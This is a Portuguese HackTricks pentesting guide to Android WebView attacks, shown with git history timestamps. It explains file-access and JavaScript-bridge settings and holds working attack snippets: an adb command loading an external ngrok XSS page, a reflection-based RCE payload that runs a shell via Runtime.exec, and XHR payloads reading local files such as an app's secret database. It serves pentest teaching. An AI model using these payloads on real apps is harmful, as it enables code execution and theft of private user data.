hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

222 lines
17 KiB
Markdown
Raw Normal View History

# Ataques ao WebView
2022-04-28 16:01:33 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Configurações Interessantes
Você pode identificar um WebView exposto assim:
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
### Acesso a Arquivos
O acesso a arquivos do _WebView_ está habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponível para habilitar ou desabilitar explicitamente.\
Se o aplicativo tiver a permissão \_**android.permission.READ\_EXTERNAL\_STORAGE** \_, ele poderá ler e carregar arquivos **do armazenamento externo**.\
2023-06-06 18:56:34 +00:00
O _WebView_ precisa usar um esquema de URL de arquivo, por exemplo, `file://path/file`, para acessar o arquivo.
#### Acesso Universal a partir de URL de Arquivo (Descontinuado)
> Define se as **solicitações entre origens** no **contexto de um URL de esquema de arquivo** devem ser permitidas a acessar **conteúdo de qualquer origem**. Isso inclui **acesso a conteúdo de outros URLs de esquema de arquivo ou contextos da web.** Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
2021-05-29 13:27:23 +00:00
>
2023-06-06 18:56:34 +00:00
> **Não** habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` lancem ataques de script entre sites, acessando **arquivos locais arbitrários**, incluindo cookies do WebView, dados privados do aplicativo ou até mesmo credenciais usadas em sites da web arbitrários.
Em resumo, isso **impedirá o carregamento de Origens arbitrárias**. O aplicativo enviará a solicitação de URL para carregar o conteúdo com **`Origin: file://`** se a resposta não permitir essa origem (**`Access-Control-Allow-Origin: file://`**), então o conteúdo não será carregado.\
2023-06-06 18:56:34 +00:00
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber se o JavaScript em execução no contexto de um URL de esquema de arquivo pode acessar conteúdo de qualquer origem (se o UniversalAccessFromFileURL estiver habilitado).
2023-06-06 18:56:34 +00:00
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
2021-05-29 13:27:23 +00:00
2021-05-29 16:57:06 +00:00
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
Usar **`loadDataWithBaseURL()`** com `null` como baseURL também **impedirá o carregamento de arquivos locais**, mesmo se todas as configurações perigosas estiverem habilitadas.
2021-05-29 16:57:06 +00:00
{% endhint %}
#### Acesso a Arquivos a partir de URLs de Arquivo (Descontinuado) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
2021-05-29 13:27:23 +00:00
> Define se as solicitações entre origens no contexto de um URL de esquema de arquivo devem ser permitidas a acessar conteúdo de outros URLs de esquema de arquivo. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
2021-05-29 13:27:23 +00:00
>
2023-06-06 18:56:34 +00:00
> **Não** habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` acessem arquivos locais arbitrários, incluindo cookies do WebView e dados privados do aplicativo.
2021-05-29 13:27:23 +00:00
Em resumo, isso impede que o javascript acesse arquivos locais via protocolo `file://`.\
Observe que **o valor dessa configuração é ignorado** se o valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) for `true`.\
2023-06-06 18:56:34 +00:00
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
2021-05-29 13:27:23 +00:00
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber se o JavaScript está em execução no contexto de um URL de esquema de arquivo pode acessar conteúdo de outros URLs de esquema de arquivo.
2023-06-06 18:56:34 +00:00
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
#### Acesso a Arquivos
2021-05-29 13:27:23 +00:00
> Habilita ou desabilita o **acesso a arquivos dentro do WebView**. Observe que isso habilita ou desabilita apenas o acesso ao sistema de arquivos. Ativos e recursos ainda são acessíveis usando file:///android\_asset e file:///android\_res.
2021-05-29 13:27:23 +00:00
2023-06-06 18:56:34 +00:00
Em resumo, se desabilitado, o WebView não poderá carregar um arquivo local com o protocolo `file://`.\
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) e superior.
2021-05-29 13:27:23 +00:00
2023-06-06 18:56:34 +00:00
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber se a configuração está habilitada.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitar/desabilitar.
#### WebViewAssetLoader
2021-05-29 17:00:27 +00:00
2023-06-06 18:56:34 +00:00
> Classe auxiliar para carregar arquivos locais, incluindo ativos estáticos e recursos do aplicativo, usando URLs http(s):// dentro de uma classe [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Carregar arquivos locais usando URLs semelhantes à web em vez de `"file://"` é desejável, pois é compatível com a política de mesma origem.
2021-05-29 17:00:27 +00:00
Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é **acessar arquivos locais usando um URL HTTP com o domínio**. Dessa forma, a **CORS** pode ser **facilmente** mantida entre as **páginas web** **locais** e as **páginas web** que são baixadas do servidor web.
### Javascript Habilitado
Os WebViews têm o Javascript **desabilitado por padrão**. O método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) pode habilitá-lo ou desabilitá-lo explicitamente.\
Observe que os webviews também podem suportar o **esquema de intenção** que permite abrir outros aplicativos. Leia este [artigo para saber como ir de XSS para RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
2021-05-29 17:00:27 +00:00
Aqui está um exemplo de um webview exposto vulnerável a XSS por meio do parâmetro "support\_url" (que pode indicar a URL a ser carregada no webview):
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
É possível explorar essa vulnerabilidade pelo adb com algo como:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
```
{% endcode %}
2021-05-29 16:28:54 +00:00
### Ponte de JavaScript
2021-05-29 16:28:54 +00:00
O Android oferece uma maneira para o JavaScript executado em um WebView chamar e usar **funções nativas de um aplicativo Android** (anotadas com `@JavascriptInterface`) usando o método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Isso é conhecido como uma _ponte de JavaScript WebView_ ou _ponte nativa_.
2021-05-29 16:28:54 +00:00
Por favor, observe que **quando você usa `addJavascriptInterface`, você está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado para todas as páginas carregadas dentro desse WebView**. Isso implica que, se o usuário navegar para fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode representar um risco de segurança potencial se algum dado sensível estiver sendo exposto por meio dessas interfaces.
2021-05-29 16:28:54 +00:00
> Aviso: Tenha extrema cautela com aplicativos direcionados para versões do Android abaixo do Android 4.2 (API level 17), pois eles são [vulneráveis a uma falha](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) na implementação do `addJavascriptInterface`: um ataque que abusa da reflexão, o que leva à execução remota de código quando JavaScript malicioso é injetado em um WebView. Isso ocorreu devido a todos os métodos de objetos Java serem acessíveis por padrão (em vez de apenas aqueles anotados).
#### Análise Estática
2021-05-29 16:28:54 +00:00
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
2021-05-29 16:28:54 +00:00
}
```
```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
```markup
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
Com acesso ao código JavaScript, por exemplo, através de um ataque **XSS** armazenado, ataque **MITM** ou um **site malicioso** que é carregado dentro do WebView, é possível chamar diretamente os métodos Java expostos.
2021-05-29 16:28:54 +00:00
{% hint style="info" %}
Observe que, no caso de tentar explorar essa vulnerabilidade através de um **Redirecionamento Aberto para uma página da web do atacante que acessa o Objeto Nativo Android**. Se o acesso ao redirecionamento for feito por meio de um **navegador móvel** e **não usando** o mesmo WebView, o **navegador não poderá acessar o objeto nativo Android**.
2021-05-29 16:28:54 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
Se `addJavascriptInterface` for necessário, leve em consideração o seguinte:
2021-05-29 16:28:54 +00:00
* Somente o JavaScript fornecido com o APK deve ser permitido a usar as bridges, por exemplo, verificando a URL em cada método Java conectado (via `WebView.getUrl`).
2023-06-06 18:56:34 +00:00
* **Nenhum JavaScript deve ser carregado de endpoints remotos**, por exemplo, mantendo a navegação da página dentro dos domínios do aplicativo e abrindo todos os outros domínios no navegador padrão (por exemplo, Chrome, Firefox).
* Se necessário por motivos de compatibilidade (por exemplo, ter que suportar dispositivos mais antigos), **defina pelo menos o nível mínimo de API para 17** no arquivo manifesto do aplicativo (`<uses-sdk android:minSdkVersion="17" />`).
2021-05-29 16:28:54 +00:00
### Ponte de JavaScript para RCE via Reflexão
2021-05-29 16:28:54 +00:00
Conforme observado nesta [**pesquisa**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_verifique para obter ideias caso obtenha RCE_), uma vez que você encontrou uma JavascriptBridge, é possível obter **RCE** via **Reflexão** usando um payload como o seguinte:
2021-05-29 16:28:54 +00:00
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
2021-05-29 16:28:54 +00:00
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
No entanto, aplicativos modernos podem usar a anotação **`@JavascriptInterface`** que indica à JavascriptBridge que apenas o método com essa anotação deve ser exposto.\
Nesse cenário, você não poderá abusar da Reflexão para executar código arbitrário.
2021-05-29 16:28:54 +00:00
### Depuração Remota
2023-06-06 18:56:34 +00:00
A **depuração remota do WebView** permite acessar o WebView com as **Ferramentas de Desenvolvedor do Chrome**.\
O dispositivo precisa ser acessível pelo PC (via USB, emulador local, rede local...) e estar executando o WebView com depuração ativada, em seguida, acesse **chrome://inspect/#devices**:
![](<../../.gitbook/assets/image (525).png>)
Selecione **inspecionar** e uma nova janela será aberta. Nesta janela, você pode **interagir com o conteúdo** do WebView e até mesmo fazer com que ele execute código JS arbitrário a partir da guia **console**:
![](<../../.gitbook/assets/image (526).png>)
2023-06-06 18:56:34 +00:00
Para habilitar a **Depuração Remota do WebView**, você pode fazer algo como:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
2023-06-06 18:56:34 +00:00
**Essa configuração se aplica a todos os WebViews do aplicativo.**
{% hint style="info" %}
**A depuração do WebView não é afetada pelo estado da flag `debuggable`** no manifesto do aplicativo. Se você deseja habilitar a depuração do WebView apenas quando `debuggable` for `true`, teste a flag em tempo de execução.
{% endhint %}
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Cargas úteis
### Exfiltrar arquivos arbitrários
Para exfiltrar arquivos arbitrários de um aplicativo Android que utiliza WebView, você pode usar a seguinte carga útil:
```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///path/to/file', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var fileContent = xhr.responseText;
// Faça algo com o conteúdo do arquivo
}
};
xhr.send();
```
Substitua `file:///path/to/file` pelo caminho absoluto do arquivo que você deseja exfiltrar. Depois de executar o código, o conteúdo do arquivo será retornado na variável `fileContent`, permitindo que você faça o que quiser com ele.
Lembre-se de que essa técnica só funcionará se o aplicativo permitir o acesso a arquivos locais por meio do WebView.
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
2021-05-29 16:57:06 +00:00
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
## Referências
2021-05-29 16:57:06 +00:00
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
2021-05-29 16:57:06 +00:00
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>